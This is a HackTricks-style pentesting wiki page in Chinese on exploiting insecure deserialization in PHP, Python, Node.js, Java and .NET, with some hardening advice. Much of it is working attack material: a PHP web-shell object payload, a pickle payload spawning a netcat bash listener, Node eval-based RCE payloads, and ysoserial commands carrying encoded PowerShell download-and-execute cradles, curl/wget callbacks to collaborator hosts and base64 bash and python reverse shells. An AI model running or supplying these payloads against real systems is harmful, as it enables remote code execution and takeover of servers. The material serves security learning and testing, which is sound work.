反序列化
Reading time: 55 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
序列化 是指将对象转换为可保存的格式的方法,目的是将对象存储或作为通信过程的一部分进行传输。此技术通常用于确保对象可以在稍后恢复,保留其结构和状态。
反序列化 则是与序列化相对的过程。它涉及将已按特定格式构造的数据重新还原为对象。
反序列化可能很危险,因为它可能允许攻击者操纵序列化数据以执行恶意代码或在对象重建过程中导致应用出现意外行为。
PHP
在 PHP 中,序列化和反序列化过程中会使用到一些特定的魔术方法:
__sleep: 在对象被序列化时调用。该方法应返回一个数组,包含要被序列化的对象所有属性的名称。通常用于提交待处理的数据或执行类似的清理工作。__wakeup: 在对象被反序列化时调用。用于重新建立在序列化期间可能丢失的数据库连接并执行其他重新初始化操作。__unserialize: 在对象被反序列化时(如果存在)会代替__wakeup被调用。与__wakeup相比,它在反序列化过程中提供了更多的控制。__destruct: 在对象即将被销毁或脚本结束时调用。通常用于清理任务,例如关闭文件句柄或数据库连接。__toString: 允许对象被当作字符串使用。它可以用于基于内部函数调用执行读取文件或其他任务,从而为对象提供文本表示。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
如果查看结果,你可以看到当对象被反序列化时,会调用函数 __wakeup 和 __destruct。注意,在一些教程中会提到当尝试打印某个属性时会调用 __toString,但显然这不再发生。
warning
如果类中实现了方法 __unserialize(array $data),则会调用它而不是 __wakeup()。该方法允许你通过将序列化数据作为数组来反序列化对象。你可以使用此方法反序列化属性并在反序列化时执行任何必要的操作。
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
你可以在以下链接阅读解释性的 PHP 示例: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 或 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP 反序列化 + 自动加载类
You could abuse the PHP autoload functionality to load arbitrary php files and more:
PHP - Deserialization + Autoload Classes
序列化引用值
如果出于某种原因你想将一个值序列化为对另一个已序列化值的引用,你可以:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
使用 allowed_classes 防止 PHP 对象注入
info
自 PHP 7.0 起,unserialize() 的第二个参数(即 $options 数组)得到支持。在更旧的版本中该函数只接受序列化字符串,因此无法限制可能被实例化的类。
unserialize() 会实例化序列化流中它遇到的每个类,除非另有设置。自 PHP 7 起,可以通过 allowed_classes 选项来限制此行为:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
如果 allowed_classes 被省略 或 代码在 PHP < 7.0 上运行,该调用变得危险,因为攻击者可以构造滥用魔术方法如 __wakeup() 或 __destruct() 的载荷以实现远程代码执行 (RCE)。
真实世界示例: Everest Forms (WordPress) CVE-2025-52709
WordPress 插件 Everest Forms ≤ 3.2.2 试图使用一个辅助包装器来防护,但忘记考虑旧版 PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
在仍然运行 PHP ≤ 7.0 的服务器上,当管理员打开恶意的表单提交时,该第二分支会导致经典的 PHP Object Injection。一个最小的 exploit payload 可能如下所示:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
一旦管理员查看该条目,对象就会被实例化并执行 SomeClass::__destruct(),导致任意代码执行。
要点
- 调用
unserialize()时,始终传入['allowed_classes' => false](或严格的白名单)。 - 审计防御包装器 —— 它们经常忘记处理 PHP 的旧分支。
- 仅升级到 PHP ≥ 7.x 并不足够:仍需显式提供该选项。
PHPGGC (ysoserial for PHP)
PHPGGC 可以帮助你生成 payloads 来滥用 PHP deserializations.
请注意,在许多情况下你 won't be able to find a way to abuse a deserialization in the source code of the application,但你可能能够 abuse the code of external PHP extensions.
因此,如果可能,检查服务器的 phpinfo() 并在互联网上搜索(甚至在 PHPGGC 的 gadgets 中)你可能可以滥用的一些 gadget。
phar:// metadata deserialization
如果你发现了一个只是读取文件而不执行其中 PHP 代码的 LFI,例如使用 file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()** 之类的函数。** 你可以尝试滥用在使用 phar 协议读取 文件 时发生的 deserialization。
更多信息请阅读下列文章:
Python
Pickle
当对象被 unpickle 时,函数 ___reduce___ 会被执行。
被利用时,服务器可能返回错误。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn't have "magic" functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
如果在滥用 deserialization 时,你可以 compromise 这些 functions 来执行其他代码(可能借助 prototype pollutions),那么当它们被调用时就有可能执行任意代码。
Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
如果你想了解该技术,请查看以下教程:
NodeJS - proto & prototype Pollution
node-serialize
该库允许序列化函数。示例:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
这个 序列化对象 将如下所示:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
你可以看到在示例中,当一个函数被序列化时,_$$ND_FUNC$$_ 标志会被附加到序列化的对象上。
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
如你在最后一段代码中所见,如果找到该标志 则使用 eval 来反序列化函数,因此本质上是 user input 被用在 eval 函数内部。
然而,仅仅序列化 一个函数 不会执行它,因为需要代码的某部分在我们的示例中 调用 y.rce,而这很 不太可能.
无论如何,你可以 修改序列化的对象,添加一些括号,以便在对象被反序列化时自动执行序列化的函数。
在下一段代码中,注意最后的括号 以及 unserialize 函数如何自动执行该代码:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
如前所述,该库会获取_$$ND_FUNC$$_之后的代码并使用eval执行它。因此,为了自动执行代码,你可以删除函数创建部分和最后的括号,并仅执行一个 JS oneliner,例如下面的示例:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
你可以find here 找到有关如何利用此漏洞的更多信息。
funcster
funcster 的一个显著特点是 标准内置对象 无法访问;它们位于可访问作用域之外。此限制阻止了尝试在内置对象上调用方法的代码执行,当使用像 console.log() 或 require(something) 这样的命令时,会导致诸如 "ReferenceError: console is not defined" 的异常。
尽管存在此限制,但可以通过特定方法恢复对全局上下文(包括所有标准内置对象)的完全访问。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
有关 more information read this source.
serialize-javascript
The serialize-javascript package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of eval is suggested by the official example for deserializing serialized data:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
如果这个函数用于 deserialize 对象,你可以 easily exploit it:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
有关 更多信息请阅读此来源.
Cryo 库
在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
在 Java 中,deserialization callbacks 在 deserialization 过程中被执行。攻击者可以通过构造恶意 payload 来触发这些 callbacks,从而可能执行有害操作。
Fingerprints
白盒
要在代码库中识别潜在的 serialization 漏洞,请搜索:
- 实现
Serializable接口的类。 - 使用
java.io.ObjectInputStream、readObject、readUnshare函数。
特别注意:
- 在参数由外部用户定义时使用的
XMLDecoder。 XStream的fromXML方法,尤其是当 XStream 版本小于或等于 1.46 时,因为它容易受到 serialization 问题的影响。- 将
ObjectInputStream与readObject方法一起使用的情况。 - 实现诸如
readObject、readObjectNodData、readResolve或readExternal等方法。 ObjectInputStream.readUnshared。- 广泛使用
Serializable。
黑盒
对于黑盒测试,请查找表示 java serialized objects(来自 ObjectInputStream)的特定 signatures 或 "Magic Bytes":
- 十六进制模式:
AC ED 00 05。 - Base64 模式:
rO0。 - HTTP 响应头
Content-type设置为application/x-java-serialized-object。 - 表示先前被压缩的十六进制模式:
1F 8B 08 00。 - 表示先前被压缩的 Base64 模式:
H4sIA。 - 带有
.faces扩展名的 Web 文件以及faces.ViewState参数。在 Web 应用中发现这些模式应提示对 关于 Java JSF ViewState Deserialization 的文章 中详述的情形进行检查。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
检查是否易受攻击
如果你想 了解 Java Deserialized exploit 的工作原理,可以参考 Basic Java Deserialization, Java DNS Deserialization, 和 CommonsCollection1 Payload。
SignedObject-gated deserialization 和 pre-auth 可达性
现代代码库有时会用 java.security.SignedObject 包裹 deserialization,并在调用 getObject()(反序列化内部对象)之前验证签名。这样可以阻止任意的 top-level gadget classes,但如果攻击者能获得有效签名(例如 private-key compromise 或 signing oracle),仍可能被利用。此外,错误处理流程可能会为未认证用户 mint session-bound tokens,从而在 pre-auth 阶段暴露原本受保护的 sinks。
有关包含请求、IoCs 和加固建议的具体案例研究,请参阅:
Java Signedobject Gated Deserialization
白盒测试
你可以检查系统中是否安装了任何具有已知漏洞的应用程序。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
你可以尝试检查所有已知存在漏洞且 Ysoserial 能为其提供 exploit 的 libraries。或者你可以查看 Java-Deserialization-Cheat-Sheet 中指出的 libraries。
你也可以使用 gadgetinspector 来搜索可能被利用的 gadget chains。
在运行 gadgetinspector(编译后)时,不要在意它产生的大量警告/错误,等它运行完成。它会将所有发现写入 gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt。请注意,gadgetinspector 不会创建 exploit,并且可能存在误报。
黑盒测试
使用 Burp 扩展 gadgetprobe 你可以识别哪些 libraries 可用(甚至包括版本)。有了这些信息,选择用于 exploit 漏洞的 payload 会更容易。
Read this to learn more about GadgetProbe.
GadgetProbe 侧重于 ObjectInputStream deserializations。
使用 Burp 扩展 Java Deserialization Scanner 可以识别可被 ysoserial 利用的 vulnerable libraries 并对其进行 exploit。
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner 专注于 ObjectInputStream deserializations。
你也可以使用 Freddy 在 Burp 中检测 deserializations 漏洞。该插件不仅能检测与 ObjectInputStream 相关的漏洞,还能检测来自 Json 和 Yml 反序列化库的漏洞。在 active 模式下,它会尝试使用 sleep 或 DNS payloads 来确认这些漏洞。
You can find more information about Freddy here.
序列化测试
并非所有工作都只是检查服务器是否使用了易受攻击的库。有时你可以修改序列化对象内的数据以绕过某些校验(例如可能在 webapp 中获得 admin privileges)。
如果你发现有 java serialized object 被发送到 web 应用,你可以使用 SerializationDumper 以更易读的格式打印出所发送的序列化对象。知道你发送了哪些数据以后,修改这些数据并绕过校验会更容易。
Exploit
ysoserial
用于利用 Java 反序列化的主要工具是 ysoserial (download here). 你也可以考虑使用 ysoseral-modified,它允许你使用更复杂的命令(例如带管道)。
请注意该工具专注于利用 ObjectInputStream。
我建议在使用 RCE payload 之前先使用 "URLDNS" payload 测试注入是否可行。无论如何,请注意 "URLDNS" payload 可能不起作用,但其他 RCE payload 可能可行。
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
当为 java.lang.Runtime.exec() 创建 payload 时,你 不能使用特殊字符,例如 ">" 或 "|" 来重定向执行输出,"$()" 来执行命令,甚至不能通过 空格 分隔 传递参数 给命令(你可以做 echo -n "hello world",但不能做 python2 -c 'print "Hello world"')。为了正确编码 payload,你可以 use this webpage。
随意使用下面的脚本来为 Windows 和 Linux 创建 所有可能的代码执行 payloads,然后在易受攻击的网页上测试它们:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
你可以 使用 https://github.com/pwntester/SerialKillerBypassGadgetCollection 与 ysoserial 一起创建更多 exploits。更多关于该工具的信息见该工具展示时的 演讲幻灯片: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec 可用于生成 payloads,以 exploit Java 中不同的 Json 和 Yml 序列化库。
为了编译该项目,我需要在 pom.xml 中 添加 这些 依赖项:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
安装 maven, 并 编译 项目:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
了解更多关于这个 Java JSON 库的信息: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
实验
- 如果你想测试一些 ysoserial payloads,你可以 运行这个 webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
为什么
Java 在多种场景大量使用序列化,例如:
- HTTP requests:序列化广泛用于参数、ViewState、cookies 等的处理。
- RMI (Remote Method Invocation):Java RMI 协议完全依赖于序列化,是 Java 应用远程通信的基石。
- RMI over HTTP:这种方式常被基于 Java 的 thick client web 应用使用,利用序列化进行所有对象通信。
- JMX (Java Management Extensions):JMX 使用序列化在网络上传输对象。
- Custom Protocols:在 Java 中,标准做法通常涉及传输原始 Java 对象,这将在后续漏洞利用示例中演示。
防护
transient objects
实现了 Serializable 的类可以将类中任何不应被序列化的对象声明为 transient。例如:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
避免序列化需要实现 Serializable 的类
在某些情况下,由于类层次结构,某些 objects must implement the Serializable 接口,这会带来意外反序列化的风险。为防止这种情况,请通过定义一个始终抛出异常的 final readObject() 方法来确保这些对象不可反序列化,如下所示:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
增强 Java 中的反序列化安全
自定义 java.io.ObjectInputStream 是保护反序列化过程的一种实用方法。此方法适用于:
- 反序列化代码由你控制。
- 预期用于反序列化的类是已知的。
重写 resolveClass() 方法以将反序列化限制为仅允许的类。这可以防止反序列化除明确允许之外的任何类,例如下面的示例将反序列化限制为仅 Bicycle 类:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement 提供一种回退方案,当无法修改代码时可用。此方法主要用于 blacklisting harmful classes,通过 JVM 参数:
-javaagent:name-of-agent.jar
它提供了一种动态保护反序列化的方法,适用于无法立即修改代码的环境。
查看示例在 rO0 by Contrast Security
实现序列化过滤器:Java 9 引入了通过 ObjectInputFilter 接口的序列化过滤器,提供了一种强大的机制,用于指定序列化对象在反序列化之前必须满足的条件。这些过滤器可以全局应用或针对单个流应用,从而对反序列化过程提供细粒度的控制。
要使用序列化过滤器,您可以设置一个适用于所有反序列化操作的全局过滤器,或者为特定流动态配置它。例如:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
利用外部库增强安全性:像 NotSoSerial, jdeserialize, 和 Kryo 这样的库提供用于控制和监控 Java deserialization 的高级功能。 这些库可以提供额外的安全层,例如对类的 whitelisting 或 blacklisting,在 deserialization 之前分析 serialized objects,以及实现自定义的 serialization strategies。
- NotSoSerial 拦截 deserialization 过程以防止执行不受信任的代码。
- jdeserialize 允许在不 deserializing 的情况下分析 serialized Java objects,帮助识别潜在的恶意内容。
- Kryo 是一个侧重于速度和效率的替代 serialization 框架,提供可配置的 serialization strategies 来增强安全性。
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
查找什么是 JNDI Injection,如何通过 RMI、CORBA & LDAP 滥用它以及如何利用 log4shell(以及该 vuln 的示例)请参见以下页面:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API 是一个用于在两个或多个客户端之间发送消息的 Java message-oriented middleware API。它是为处理 producer–consumer 问题而实现的。JMS 是 Java Platform, Enterprise Edition (Java EE) 的一部分,由 Sun Microsystems 开发规范,随后由 Java Community Process 指导。它是一种消息标准,允许基于 Java EE 的应用组件创建、发送、接收和读取消息。它使分布式应用的不同组件之间的通信可以松耦合、可靠且异步。(From Wikipedia)。
Products
有若干使用该中间件发送消息的产品:
.png)
.png)
Exploitation
基本上,有大量以危险方式使用 JMS 的服务。因此,如果你有足够的权限向这些服务发送消息(通常需要有效凭证),你可能能够发送恶意的 serialized objects,这些对象会被 consumer/subscriber 反序列化。
这意味着在这种利用场景下,所有将使用该消息的客户端都会被感染。
你应该记住,即便某个服务存在漏洞(因为它不安全地 deserializing 用户输入),你仍然需要找到合适的 gadgets 来利用该漏洞。
工具 JMET 是为连接并攻击这些服务,发送使用已知 gadgets 序列化的多个恶意对象而创建的。如果服务仍然存在漏洞并且任何所用 gadget 存在于易受攻击的应用中,这些利用将会奏效。
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
在 .Net 的上下文中,deserialization 利用的运作方式与 Java 类似,通过利用 gadgets 在对象反序列化期间运行特定代码。
Fingerprint
WhiteBox
应检查源代码中是否出现以下项:
TypeNameHandlingJavaScriptTypeResolver
重点应放在允许类型由用户可控变量决定的 serializers 上。
BlackBox
搜索应针对 Base64 编码字符串 AAEAAAD///// 或任何可能在服务器端被反序列化并授予对要反序列化类型控制的类似模式进行。这可能包括但不限于具有 TypeObject 或 $type 的 JSON 或 XML 结构。
ysoserial.net
在这种情况下,你可以使用工具 ysoserial.net 来创建 deserialization 利用。下载 git 仓库后,应使用 Visual Studio 等工具编译该工具。
如果你想了解 ysoserial.net 是如何创建其 exploit 的,你可以查看此页面,里面解释了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter。
ysoserial.net 的主要选项是:--gadget, --formatter, --output 和 --plugin.
